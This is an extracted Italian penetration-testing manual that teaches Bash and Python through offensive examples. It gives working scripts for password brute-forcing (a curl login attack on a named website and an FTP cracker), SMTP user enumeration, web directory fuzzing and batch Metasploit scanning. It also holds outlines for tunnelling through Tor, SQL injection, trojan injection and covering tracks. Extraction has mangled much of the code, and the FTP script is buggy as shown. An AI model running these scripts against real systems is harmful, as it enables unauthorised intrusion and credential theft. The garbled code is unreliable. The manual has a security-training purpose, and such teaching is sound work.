  • 11. Appendice D: crack WEP/WPA protocol con BackTrack.11 Bash Environment La definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi. Variabili #!/bin/bash STRING="HELLO WORLD!!!" echo $STRING Passaggio di parametri #!/bin/bash # use predefined variables to access passed arguments #echo arguments to the shell echo $1 $2 $3 ' -> echo $1 $2 $3' # We can also store arguments from bash command line in special array args=("$@") #echo arguments to the shell echo ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}' #use $@ to print out all arguments at once echo $@ ' -> echo $@' # use $# variable to print out # number of arguments passed to the bash script echo Number of arguments passed: $# ' -> echo Number of arguments passed: $#' User Input #!/bin/bash echo -e "Hi, please type the word: c " read word echo "The word you entered is: $word" echo -e "Can you please enter two words? " read word1 word2 echo "Here is your input: "$word1" "$word2"" echo -e "How do you feel about bash scripting? " # read command now stores a reply into the default build-in variable $REPLY read echo "You said $REPLY, I'm glad to hear that! " echo -e "What are your favorite colours ? " # -a makes read command to read into an array read -a colours echo "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)" Bash Trap Command #!/bin/bash # bash trap command trap bashtrap INT # bash clear screen command clear; # bash trap function is executed when CTRL-C is pressed: # bash prints message => Executing bash trap subrutine ! bashtrap() { echo "CTRL+C Detected !...executing bash trap !" } # for loop from 1/10 to 10/10 for a in `seq 1 10`; do echo "$a/10 to Exit." sleep 1; done echo "Exit Bash Trap Example!!!" Luigi Capuzzello
  • 12. Appendice D: crack WEP/WPA protocol con BackTrack.12 Array se myHost vale www.target.com allora splitto e carico in un array myHost=$1 hostPart=$(echo $myHost | tr "." "n") for x in ${hostPart[@]} do echo $x done Leggere un file e metterlo in un Array #!/bin/bash # Declare array declare -a ARRAY # Link filedescriptor 10 with stdin exec 10<&0 # stdin replaced with a file supplied as a first argument exec < $1 let count=0 while read LINE; do ARRAY[$count]=$LINE ((count++)) done echo Number of elements: ${#ARRAY[@]} # echo array's content echo ${ARRAY[@]} # restore stdin from filedescriptor 10 # and close filedescriptor 10 exec 0<&10 10<&- if statement #!/bin/bash directory="./BashScripting" # bash check if directory exists if [ -d $directory ]; then echo "Directory exists" else echo "Directory does not exists" fi For statement #!/bin/bash for (( c=1; c<=5; c++ )) do echo "Welcome $c times" done Luigi Capuzzello
  • 13. Appendice D: crack WEP/WPA protocol con BackTrack.13 Arithmetic Comparison #!/bin/bash # declare integers NUM1=2 NUM2=2 if [ $NUM1 -eq $NUM2 ]; then echo "Both Values are equal" else echo "Values are NOT equal" fi -lt < -gt > -le <= -ge >= -eq == -ne != String Comparison #!/bin/bash #Declare string S1 S1="Bash" #Declare string S2 S2="Scripting" if [ $S1 = $S2 ]; then echo "Both Strings are equal" else echo "Strings are NOT equal" fi == Equal != not equal < less then > greater then -n s1 string s1 is not empty -z s1 string s1 is empty Bash File Testing -b filename -c filename -d directoryname -e filename -f filename -G filename -g filename -k filename -L filename -O filename -r filename -S filename -s filename -u filename -w filename -x filename Block special file Special character file Check for directory existence Check for file existence Check for regular file existence not a directory Check if file exists and is owned by effective group ID. true if file exists and is set-group-id. Sticky bit Symbolic link True if file exists and is owned by the effective user id. Check if file is a readable Check if file is socket Check if file is nonzero size Check if file set-ser-id bit is set Check if file is writable Check if file is executable Luigi Capuzzello
  • 14. Appendice D: crack WEP/WPA protocol con BackTrack.14 Funzioni !/bin/bash # BASH FUNCTIONS CAN BE DECLARED IN ANY ORDER function function_B { echo Function B. } function function_A { echo $1 } function function_D { echo Function D. } function function_C { echo $1 } # FUNCTION CALLS # Pass parameter to function A function_A "Function A." function_B # Pass parameter to function C function_C "Function C." function_D Alcuni esempi di comandi interessanti Elaboro contenuto pagina web #!/bin/bash wget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/null grep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt ricavo dal file gli IP (ciclo for) #!/bin/bash for hostname in $(cat icq-srv.txt);do host $hostname done chiedo dati all’utente #!/bin/bash echo "Please enter Class C IP network range:" echo "eg: 194.29.32" read range for ip in `seq 1 254`;do host $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5 done Prendo dati all’avvio della shell #/bin/bash # Simple Zone Transfer Bash Script # $1 is the first argument given after the bash script # Check if argument was given, if not, print usage if [ -z "$1" ]; then echo "[*] Simple Zone transfer script" echo "[*] Usage : $0 <domain name> " echo "[*] Example : $0 aeoi.org.ir " Luigi Capuzzello
  • 15. Appendice D: crack WEP/WPA protocol con BackTrack.15 exit 0 fi funzioni e if statement (multisploit.sh) #!/bin/bash # execute auxiliary script about metasploit # the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit msfconsole function myinstr(){ #si="ciao mamma come stai" #st="mammasss" si="$1" st="$2" sf=${si##*$st} #echo ${#sf} #echo ${#si} if [ ${#sf} == ${#si} ]; then #echo ">>>>>>>>> stringa NON trovata" return 0 else #echo ">>>>>>>>> stringa trovata" return 1 fi } if [ -z "$5" ]; then echo "[*] Execute multi auxiliary scanner on metasploit" echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)> <auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql | mssql | oracle | vnc | custom)> <Threads Number>" echo "" echo "[*] Example : $0 192.168.11.145 x linux smb 5" echo "" exit 0 fi echo echo echo echo echo echo echo "" "=============================" "=" "= TARGET $1:$2" "= protocol: $4" "=" "=============================" #echo "so do you want to test $1:$2" #echo "SO: $3" #echo "Protocol: $4" for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do if [ "$2" == "x" ]; then #No specified port I take the default port mycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E" else mycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E" fi #if SO is linux then I skip all auxiliaries that contain dos or windows if [ "$3" == "linux" ]; then skip="0" Luigi Capuzzello
  • 16. Appendice D: crack WEP/WPA protocol con BackTrack.16 myinstr "$aux" "windows" return_val=$? if [ "$return_val" == "1" ]; then skip="1" else myinstr "$aux" "dos" return_val=$? if [ "$return_val" == "1" ]; then skip="1" fi fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi fi #if SO is windows then I skip all auxiliaries that contain linux if [ "$3" == "windows" ]; then skip="0" myinstr "$aux" "linux" return_val=$? if [ "$return_val" == "1" ]; then skip="1" fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi fi #salto tutti i fuzzer skip="0" myinstr "$aux" "fuzzer" return_val=$? if [ "$return_val" == "1" ]; then skip="1" fi if [ "$skip" == "1" ]; then echo "skiping ...$aux" mycommand="" fi if [ "$mycommand" != "" ]; then echo "" echo "executing ... $aux" /pentest/exploits/framework3/msfcli $mycommand fi done Esempio di utilizzo di curl (user:password) Dizionario: ftp://ftp.openwall.com/ #!/ bin/ bash # PAINSEC web login fuzzer used in "How Strong is your Fu? if [ $# -ne 1 ] then echo " Usage : `basename $0 ` <dictionary >" exit -1 Luigi Capuzzello
  • 17. Appendice D: crack WEP/WPA protocol con BackTrack.17 fi # We loop all over the dictionary for i in `cat $1 ` do # We know the user is admin ... curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null # " Required " is our blind keyword if grep Required tmp > /dev / null ; then echo " Not $i ... " else # Good news :) echo " Found ! $i" exit fi done rm tmp Esempio di curl (loop sulle cartelle) Dizionario: ftp://ftp.openwall.com/ #!/ bin/sh # PAINSEC , Web fuzzer developed for How Strong is Your Fu? # Check syntax if [ $# -ne 2 ] then echo " Usage : `basename $0 ` <dictionary > <output file >" exit -1 fi echo -n "" > temp . txt # Loop over all dictionary for i in `cat $1 ` do # Get the page , dump the header to " header . txt " curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null # Write header status to screen and file echo -n -e "$ittt" cat header . txt | head -n 1 echo -n -e "$itt" >> temp . txt cat header . txt | head -n 1 >> temp . txt done # Finished , remove temporal files and save no -404 results in output file rm header . txt cat temp . txt | grep -v 404 > $2 rm temp . txt Luigi Capuzzello
  • 18. Appendice D: crack WEP/WPA protocol con BackTrack.18 python environment Anche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi. Connessione alla porta 25 e verifico se funziona il commando VRFY - socket #!/usr/bin/python import socket import sys if len(sys.argv) != 2: print "Usage: vrfy.py <username>" sys.exit(0) # Create a Socket s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the Server connect=s.connect(('192.168.0.10',25)) # Recieve the banner banner=s.recv(1024) print banner # VRFY a user s.send('VRFY ' + sys.argv[1] + 'rn') result=s.recv(1024) print result # Close the socket s.close() Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi da file di testo): - Socket - Prelevare dati da input - Lettura da file - array #!/usr/bin/python import socket import sys import fileinput import array if len(sys.argv) != 3: print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>" sys.exit(0) arrip=[] arrnomi=[] arrris=[] # Connect to the Server prelevato da file for ipsrv in fileinput.input(sys.argv[1]): arrip.append(ipsrv) #Controllo ogni nome possibile for nome in fileinput.input(sys.argv[2]): arrnomi.append(nome) for elnome in arrnomi: for elip in arrip: print elnome + " " + elip Luigi Capuzzello
  • 19. Appendice D: crack WEP/WPA protocol con BackTrack.19 # Create a Socket s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #print ipsrv connect=s.connect((elip,25)) ## Recieve the banner banner=s.recv(1024) print banner ## VRFY a user #s.send('VRFY ' + sys.argv[1] + 'rn') s.send('HELO test@thinc.localrn') result=s.recv(1024) s.send('VRFY '+ elnome + 'rn') result=s.recv(1024) if result.find('250')>=0: #ho trovato qualche cosa print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" arrris.append(result) print result ## Close the socket s.close() print "" print "" print "=================" print "AT THE END" print "these are the results" for elris in arrris: print elris Questo script fa brute force su FTP - definizione delle funzioni - lettura da file #!/usr/bin/python import socket import re import sys def connect(username,password): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*] Trying " + username + ":" + password s.connect(('192.168.0.112',21)) data = s.recv(1024) s.send('USER ' + username + 'rn') data = s.recv(1024) s.send('PASS ' + password + 'rn') data = s.recv(3) #prendo I primi 3 caratteri e basta!!! s.send('QUITrn') s.close() return data username = "ftp" f=open(‘pass.txt’) lines=f.readlines() f.close() for line in lines: attempt=connect(username,line) if attempt == "230": print "[*] Password found: "+ password sys.exit(0) questo script crea una funzione xor: - creare e usare funzioni #!/usr/bin/python Luigi Capuzzello
  • 20. Appendice D: crack WEP/WPA protocol con BackTrack.20 #coded by sinn3r import socket, sys ## XOR routine def xorme(data): input = data output = "" for char in input: tmp = char.encode("hex") key = "x04".encode("hex") int_byte = int(tmp, 16) int_key = int(key, 16) xor = int_byte ^ int_key output += chr(xor) return output buffer = sys.argv[1] buffer = buffer + "rnrn" xor_buffer = xorme(buffer) Luigi Capuzzello
  • 21. Appendice D: crack WEP/WPA protocol con BackTrack.21 Rendersi invisibili. Effettuare un penetration test di tipo black box può richiedere la necessità di nascondere il proprio indirizzo IP nella fase di analisi della rete. Questa operazione non sempre è necessaria e rallenta molto la fase di raccolta delle informazioni. Nel caso venga richiesta, è comunque la prima attività che deve essere svolta. …. …. iptables Per garantire che il target non riceva pacchetti con il mio IP, posso decidere di bloccare tutti i miei pacchetti in uscita che vanno verso il target: #iptables -A OUTPUT --dest <target> -j DROP …. …. TORtunnel: installazione Tortunnel è più veloce di TOR perché usa solo un nodo della rete TOR ed esce con quel nodo (quello selezionato con tortunnel –r) … …. Luigi Capuzzello
  • 22. Appendice D: crack WEP/WPA protocol con BackTrack.22 TORtunnel: nmap … … TORtunnel: hydra … … TORtunnel: sqlmap … … TORtunnel: firefox … … scansione porte … … Luigi Capuzzello
  • 23. Appendice D: crack WEP/WPA protocol con BackTrack.23 Information Gathering. … … Luigi Capuzzello
  • 24. Appendice D: crack WEP/WPA protocol con BackTrack.24 Service Information Gathering … … Nmap … … FTP (21) … … DNS (53). … … SNMP (161) … … SMTP (25) … … SMB (139 - 445) … … Luigi Capuzzello
  • 25. Appendice D: crack WEP/WPA protocol con BackTrack.25 HTTP (80) (scanning delle reti) … … Verifica iniziale … … Luigi Capuzzello
  • 26. Appendice D: crack WEP/WPA protocol con BackTrack.26 XSS: Cross Site Scripting. … … Luigi Capuzzello
  • 27. Appendice D: crack WEP/WPA protocol con BackTrack.27 XSRF: Cross Site Reference Forgery. … … Path Traversal Attack. … … Luigi Capuzzello
  • 28. Appendice D: crack WEP/WPA protocol con BackTrack.28 SQL Injection. … … SQL Injection: sqlmap: … … In manuale … … SQL Injection: MySQL … … SQL Injection: Access … … Luigi Capuzzello
  • 29. Appendice D: crack WEP/WPA protocol con BackTrack.29 Exploit: ricerca vulnerabilità note … … Exploit: eseguire … … Nessus e Metasploit … … Metasploit autopwn … … Metasploit … … Meterpreter … … da siti web … … Luigi Capuzzello
  • 30. Appendice D: crack WEP/WPA protocol con BackTrack.30 Client side Attack … … aurora / autoPWN (payload) … … !!!! iniettare trojan in eseguibile … … smb_relay (payload) … … Luigi Capuzzello
  • 31. Appendice D: crack WEP/WPA protocol con BackTrack.31 smb sniff password … … Luigi Capuzzello
  • 32. Appendice D: crack WEP/WPA protocol con BackTrack.32 Password Cracking Online password … … John come dizionario … … Luigi Capuzzello
  • 33. Appendice D: crack WEP/WPA protocol con BackTrack.33 Offline password … … Luigi Capuzzello
  • 34. Appendice D: crack WEP/WPA protocol con BackTrack.34 Cosa fare dopo che ho una shell. Una volta che ho una shell su una macchina per espandere l’attacco devo: subito … … … con Tftp (no in vista e 7) … … con Ftp. … … Luigi Capuzzello
  • 35. Appendice D: crack WEP/WPA protocol con BackTrack.35 DEBUG.exe (no 7) … … Vb script … … Internet Explorer … … wget … … Luigi Capuzzello
  • 36. Appendice D: crack WEP/WPA protocol con BackTrack.36 … … Shell su macchina non routable: ssh tunneling. Luigi Capuzzello
  • 37. Appendice D: crack WEP/WPA protocol con BackTrack.37 Pulire le tracce lasciate. … … Luigi Capuzzello
  • 38. Appendice D: crack WEP/WPA protocol con BackTrack.38 Network Fun (pwb3.doc) Di seguito vengono riportati alcuni esempi di come utilizzare I programmi di rete più comuni per muoversi attraverso alcuni scenari tipci. Netcat … … Port redirection: rinetd … … Luigi Capuzzello
  • 39. Appendice D: crack WEP/WPA protocol con BackTrack.39 Encapsulation - stunnel … … Luigi Capuzzello
  • 40. Appendice D: crack WEP/WPA protocol con BackTrack.40 HTTP CONNECT Tunneling … … ProxyTunnel … … Luigi Capuzzello
  • 41. Appendice D: crack WEP/WPA protocol con BackTrack.41 SSH Tunneling … … Chiave pubblica e privata … … Luigi Capuzzello
  • 42. Appendice D: crack WEP/WPA protocol con BackTrack.42 … … SSH: configurare con chiave pubblica e privata Luigi Capuzzello
  • 43. Appendice D: crack WEP/WPA protocol con BackTrack.43 Appendice A: Service exploit … … Luigi Capuzzello
  • 44. Appendice D: crack WEP/WPA protocol con BackTrack.44 Appendice B: siti utili. Exploit: 1. http://www.exploit-db.com/ 2. http://inj3ct0r.com/ 3. http://www.securityfocus.com/ (inurl:bid) Dizionari on line: 1. ftp://ftp.openwall.com/ Crack password: http://cracker.offensive-security.com/ (priority code: 1337123456) http://md5.rednoize.com/ http://ziogeek.com/i-migliori-14-siti-per-decriptare-le-password-in-md5/ Default Password: http://www.phenoelit-us.org/dpl/dpl.html Luigi Capuzzello
  • 45. Appendice D: crack WEP/WPA protocol con BackTrack.45 Appendice C: IRC command. Basic IRC (Mibbit) Commands IRC Help Commands /HELPOP /HELPOP /HELPOP /HELPOP /HELPOP /HELPOP /HELPOP /HELPOP SNOMASKS - To get the list of snomasks OPERCMDS - To get the list of IRC operator commands SVSCMDS - To get the list of U-Lined servers commands (services) USERCMDS - To get the list of user commands UMODES - To get the list of user modes CHMODES - To get the list of channel modes CHMODEF - Channel flood protection EXTBANS - Extended ban types /msg NickServ HELP command - For more information on a specific command Basic Channel Commands /whois nick - Quick info lookup on user /ignore nick - Ignores user /join #Channel - Join a channel ie. /join #computerhope /mode nick +O - Give's user op status on own channel /msg nick message - Send a private message. Always get permission /quit - Quits a channel /quit message - Quits and leave a message ie. /quit See you later NickServ Commands /msg /msg /msg /msg nickserv register your_password yourName@yourMailProvider nickserv confirm confirmation_code - To confirm nick NickServ IDENTIFY password - Identifies nick with password nickserv set hide email on - Hides email after u setup nick To register nick ChanServ Commands /msg ChanServ REGISTER #Channel password description - Registers a channel in the ChanServ database /msg ChanServ IDENTIFY #Channel password - Authenticates you to ChanServ as the founder of the given channel. Many commands require you to use this command before using them. The password should be the same one you sent with the REGISTER command /msg BotServ ASSIGN #Channel bot Luigi Capuzzello - Assigns a bot to a channel to help you manage your channel
  • 46. Appendice D: crack WEP/WPA protocol con BackTrack.46 Appendice D: crack WEP/WPA protocol con BackTrack. … … Luigi Capuzzello